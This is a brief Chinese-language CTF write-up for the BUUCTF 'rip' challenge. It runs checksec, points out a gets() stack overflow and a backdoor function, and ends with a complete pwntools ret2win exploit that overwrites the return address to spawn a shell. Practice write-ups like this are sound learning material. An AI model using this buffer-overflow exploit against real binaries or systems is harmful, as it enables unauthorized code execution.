rip
使用checksec查看:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q0zlaOVX-1645757364144)(rip.assets/image-20220225104328732.png)]](https://file.cfanz.cn/uploads/png/2022/02/25/3/65eH9J65a5.png)
保护措施全部关闭。
放进IDA中分析:

gets():存在栈溢出
fun():

- 存在后门函数
步骤解析
完整exp
from pwn import *
p = process("../buu/rip")
# p = remote("node4.buuoj.cn",27965)
elf = ELF("../buu/rip")
fun_addr = elf.symbols['fun']
payload = b'M' * (0xF + 8) + p64(fun_addr-1) +p64(fun_addr)
p.sendline(payload)
p.interactive()









